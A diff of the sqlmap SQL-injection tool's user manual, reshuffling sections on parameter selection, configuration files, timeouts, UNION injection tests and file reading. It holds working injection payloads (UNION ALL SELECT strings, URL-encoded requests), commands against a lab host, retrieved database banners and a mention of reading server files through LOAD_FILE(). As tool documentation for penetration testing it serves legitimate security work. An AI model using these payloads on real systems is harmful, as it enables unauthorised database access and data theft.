Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline -to be able to take advantage of the sqlmap TAB completion and history -support functionalities in the SQL shell and OS shell. +library to be able to take advantage of the sqlmap TAB completion and +history support functionalities in the SQL shell and OS shell. Note that these functionalities are available natively by Python official -readline library on other operating systems.
+readline library on other operating systems. +You can also choose to install +Psyco +library to speed up the sqlmap algorithmic operations.Option: -l
Option: -p
Option: -c
By default sqlmap tests all GET parameters, POST
-parameters, HTTP Cookie header values and HTTP User-Agent
-header value for dynamicity and SQL injection vulnerability, but it is
-possible to manually specificy the parameter(s) you want sqlmap to perform
-tests on comma separeted in order to skip dynamicity tests and perform SQL
-injection test and inject directly only against the provided parameter(s).
Example on a PostgreSQL 8.2.7 target:
--
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
- -p "id"
-
-[hh:mm:48] [INFO] testing connection to the target url
-[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:49] [INFO] url is stable
-[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:49] [INFO] GET parameter 'id' is dynamic
-[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
-[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
-[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
-[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
-[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
-[...]
-
-Or, if you want to provide more than one parameter, for instance:
--
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
- -p "cat,id"
-
-You can also test only the HTTP User-Agent header.
It is possible to pass user's options from a configuration INI file, an
+example is sqlmap.conf.
Example on a MySQL 5.0.51 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
- -p "user-agent" --user-agent "sqlmap/0.6.3 (http://sqlmap.sourceforge.net)"
+$ python sqlmap.py -c "sqlmap.conf"
-[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
-[hh:mm:40] [INFO] testing connection to the target url
-[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:41] [INFO] url is stable
-[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
-[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
-[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
-[hh:mm:41] [INFO] testing MySQL
-[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
-[hh:mm:41] [INFO] retrieved: 44
-[hh:mm:41] [INFO] performed 20 queries in 0 seconds
-[hh:mm:41] [INFO] confirming MySQL
-[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
-[hh:mm:41] [INFO] retrieved: 1
-[hh:mm:41] [INFO] performed 13 queries in 0 seconds
-[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
-[hh:mm:41] [INFO] retrieved: 4
-[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
back-end DBMS: MySQL >= 5.0.0
Note that if you also provide other options from command line, those are +evaluated when running sqlmap and overwrite the same options, if set, in +the configuration file provided.
+ + +GET or POSTOption: --timeout
It is possible to specify a number of seconds to wait before considering +the HTTP connection timed out. The valid value is a float, for instance +10.5.
+ + +Option: --time-test
TODO
- - -Option: --union-test
It is possible to test if the target URL is affected by an inband -SQL injection vulnerability. -Refer to the Techniques section for details on this SQL injection -technique.
- -Example on an Oracle XE 10.2.0.1 target:
--
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
- --union-test -v 1
-
-[...]
-back-end DBMS: Oracle
-
-[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
-[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
-valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
-NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
-
-Option: -p
By default sqlmap tests all GET parameters, POST
+parameters, HTTP Cookie header values and HTTP User-Agent
+header value for dynamicity and SQL injection vulnerability, but it is
+possible to manually specificy the parameter(s) you want sqlmap to perform
+tests on comma separeted in order to skip dynamicity tests and perform SQL
+injection test and inject directly only against the provided parameter(s).
Example on a PostgreSQL 8.2.7 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
- --union-test -v 1
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+ -p "id"
+[hh:mm:48] [INFO] testing connection to the target url
+[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:49] [INFO] url is stable
+[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
[...]
-back-end DBMS: PostgreSQL
-
-[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
-[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
-valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT
-NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
As you can see, the target URL parameter id might be also
-affected by an inband SQL injection.
-In case this vulnerability is exploitable it is strongly recommended to
-use it.
Option: --union-use
Providing the --union-use parameter, sqlmap will first test if
-the target URL is affected by an inband SQL injection
-(--union-test) vulnerability then, in case it is vulnerable and
-exploitable, it will trigger this vulnerability to retrieve the output of
-the SELECT queries.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+Or, if you want to provide more than one parameter, for instance:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
- --union-use --banner
-
-[...]
-back-end DBMS: Microsoft SQL Server 2000
-
-[hh:mm:42] [INFO] fetching banner
-[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
-[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
-[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
-[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection
-vulnerability
-[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
-CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
-CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
-[hh:mm:42] [INFO] performed 3 queries in 0 seconds
-banner:
----
-Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
- Aug 6 2000 00:57:48
- Copyright (c) 1988-2000 Microsoft Corporation
- Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
----
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+ -p "cat,id"
As you can see, the vulnerable parameter (id) is affected by both
-blind SQL injection and exploitable inband SQL injection vulnerabilities.
You can also test only the HTTP User-Agent header.
Example on a MySQL 5.0.51 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
- --union-use --banner
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \
+ -p "user-agent" --user-agent "sqlmap/0.6.3 (http://sqlmap.sourceforge.net)"
-[...]
-[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection
-vulnerability
-[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
-IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL--
-AND 6043=6043
-[hh:mm:25] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
-%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
-%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
-06043=6043&cat=2 HTTP/1.1
-Host: 192.168.1.121:80
-User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
-Connection: close
-
-[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Mon, 28 Jul 2008 22:34:25 GMT
-Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
-OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
-X-Powered-By: PHP/5.2.4-2ubuntu5.2
-Content-Length: 194
-Connection: close
-Content-Type: text/html
-
-<html><body>
-<b>SQL results:</b>
-<table border="1">
-<tr><td>1</td><td>luther</td><td>blissett</td></tr>
-<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr>
-</table>
-</body></html>
-
-[hh:mm:25] [INFO] performed 3 queries in 0 seconds
-banner: '5.0.51a-3ubuntu5.2'
+[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
+[hh:mm:40] [INFO] testing connection to the target url
+[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:41] [INFO] url is stable
+[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
+[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
+[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:41] [INFO] testing MySQL
+[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:41] [INFO] retrieved: 44
+[hh:mm:41] [INFO] performed 20 queries in 0 seconds
+[hh:mm:41] [INFO] confirming MySQL
+[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:41] [INFO] retrieved: 1
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:41] [INFO] retrieved: 4
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+back-end DBMS: MySQL >= 5.0.0
As you can see, the MySQL version() function (banner) output is
-nested (inband) within the HTTP response page, this makes the inband SQL
-injection exploitable.
Option: --time-test
TODO
+ + +Option: --union-test
It is possible to test if the target URL is affected by an inband +SQL injection vulnerability. +Refer to the Techniques section for details on this SQL injection +technique.
+ +Example on an Oracle XE 10.2.0.1 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
+ --union-test -v 1
+
+[...]
+back-end DBMS: Oracle
+
+[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
+NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
+
+Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
+ --union-test -v 1
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT
+NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
+
+As you can see, the target URL parameter id might be also
+affected by an inband SQL injection.
+In case this vulnerability is exploitable it is strongly recommended to
+use it.
Option: --union-use
Providing the --union-use parameter, sqlmap will first test if
+the target URL is affected by an inband SQL injection
+(--union-test) vulnerability then, in case it is vulnerable and
+exploitable, it will trigger this vulnerability to retrieve the output of
+the SELECT queries.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
+ --union-use --banner
+
+[...]
+back-end DBMS: Microsoft SQL Server 2000
+
+[hh:mm:42] [INFO] fetching banner
+[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
+CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
+CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
+[hh:mm:42] [INFO] performed 3 queries in 0 seconds
+banner:
+---
+Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
+ Aug 6 2000 00:57:48
+ Copyright (c) 1988-2000 Microsoft Corporation
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+---
+
+As you can see, the vulnerable parameter (id) is affected by both
+blind SQL injection and exploitable inband SQL injection vulnerabilities.
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
+ --union-use --banner
+
+[...]
+[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
+IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL--
+AND 6043=6043
+[hh:mm:25] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
+%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
+%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
+06043=6043&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Mon, 28 Jul 2008 22:34:25 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 194
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr>
+</table>
+</body></html>
+
+[hh:mm:25] [INFO] performed 3 queries in 0 seconds
+banner: '5.0.51a-3ubuntu5.2'
+
+As you can see, the MySQL version() function (banner) output is
+nested (inband) within the HTTP response page, this makes the inband SQL
+injection exploitable.
public.
-Options: --dump, -C, -T, -D,
--start and --stop
You can also provide the --start and/or the --stop option
-to limit the dump to a range of entries.
You can also provide the --start and/or the --stop
+options to limit the dump to a range of entries.
--start specifies the first entry to enumerateOption: --read-file
If the back-end database management system is MySQL and the current user
-has access to the LOAD_FILE() function, it is possible to read
-the content of a specific file from the file system.
FILE access (access to LOAD_FILE() builtin function),
+it is possible to read the content of a specific file from the file system.
Example on a MySQL 5.0.51 target:
@@ -2903,7 +2950,7 @@ inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
-Option: -c
It is possible to pass user's option from a configuration INI file, an
-example is sqlmap.conf.
Example on a MySQL 5.0.51 target:
--
-
-$ python sqlmap.py -c "sqlmap.conf"
-
-[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
-back-end DBMS: MySQL >= 5.0.0
-
-Option: --save
Option: -l
@@ -677,87 +685,33 @@ want to test this url? [y/N/q] y
-
-Option: -p
+Option: -c
-By default sqlmap tests all GET parameters, POST
-parameters, HTTP Cookie header values and HTTP User-Agent
-header value for dynamicity and SQL injection vulnerability, but it is
-possible to manually specificy the parameter(s) you want sqlmap to perform
-tests on comma separeted in order to skip dynamicity tests and perform SQL
-injection test and inject directly only against the provided parameter(s).
-
-Example on a
-Or, if you want to provide more than one parameter, for instance:
-
-
-You can also test only the HTTP User-Agent header.
+It is possible to pass user's options from a configuration INI file, an
+example is sqlmap.conf.
Example on a
+Note that if you also provide other options from command line, those are
+evaluated when running sqlmap and overwrite the same options, if set, in
+the configuration file provided.
+
+
+
-Option: --time-test
+Option: --timeout
-TODO
+It is possible to specify a number of seconds to wait before considering
+the HTTP connection timed out. The valid value is a float, for instance
+10.5.
-
-Option: --union-test
+Option: -p
-It is possible to test if the target URL is affected by an
-Example on an
Example on a
-As you can see, the target URL parameter id might be also
-affected by an inband SQL injection.
-In case this vulnerability is exploitable it is strongly recommended to
-use it.
-
-
-Option: --union-use
-
-
-Providing the --union-use parameter, sqlmap will first test if
-the target URL is affected by an
-Example on a
-As you can see, the vulnerable parameter (id) is affected by both
-blind SQL injection and exploitable inband SQL injection vulnerabilities.
+You can also test only the HTTP User-Agent header.
Example on a
-As you can see, the MySQL version() function (banner) output is
-nested (inband) within the HTTP response page, this makes the inband SQL
-injection exploitable.
-
-
-
+Option: --time-test
+
+
+TODO
+
+
+
+Option: --union-test
+
+
+It is possible to test if the target URL is affected by an
+Example on an
+Example on a
+As you can see, the target URL parameter id might be also
+affected by an inband SQL injection.
+In case this vulnerability is exploitable it is strongly recommended to
+use it.
+
+
+Option: --union-use
+
+
+Providing the --union-use parameter, sqlmap will first test if
+the target URL is affected by an
+Example on a
+As you can see, the vulnerable parameter (id) is affected by both
+blind SQL injection and exploitable inband SQL injection vulnerabilities.
+
+
+Example on a
+As you can see, the MySQL version() function (banner) output is
+nested (inband) within the HTTP response page, this makes the inband SQL
+injection exploitable.
+
+
Options: --dump, -C, -T, -D,
@@ -2281,8 +2328,8 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
-You can also provide the --start and/or the --stop option
-to limit the dump to a range of entries.
+You can also provide the --start and/or the --stop
+options to limit the dump to a range of entries.
If the back-end database management system is MySQL and the current user
-has access to the LOAD_FILE() function, it is possible to read
-the content of a specific file from the file system.
+has FILE access (access to LOAD_FILE() builtin function),
+it is possible to read the content of a specific file from the file system.
Example on a
-Option: -c
-
-
-It is possible to pass user's option from a configuration INI file, an
-example is sqlmap.conf.
-
-
-Example on a
diff --git a/doc/THANKS b/doc/THANKS
index 38474a788..a5ec9bf86 100644
--- a/doc/THANKS
+++ b/doc/THANKS
@@ -114,6 +114,7 @@ M Simkin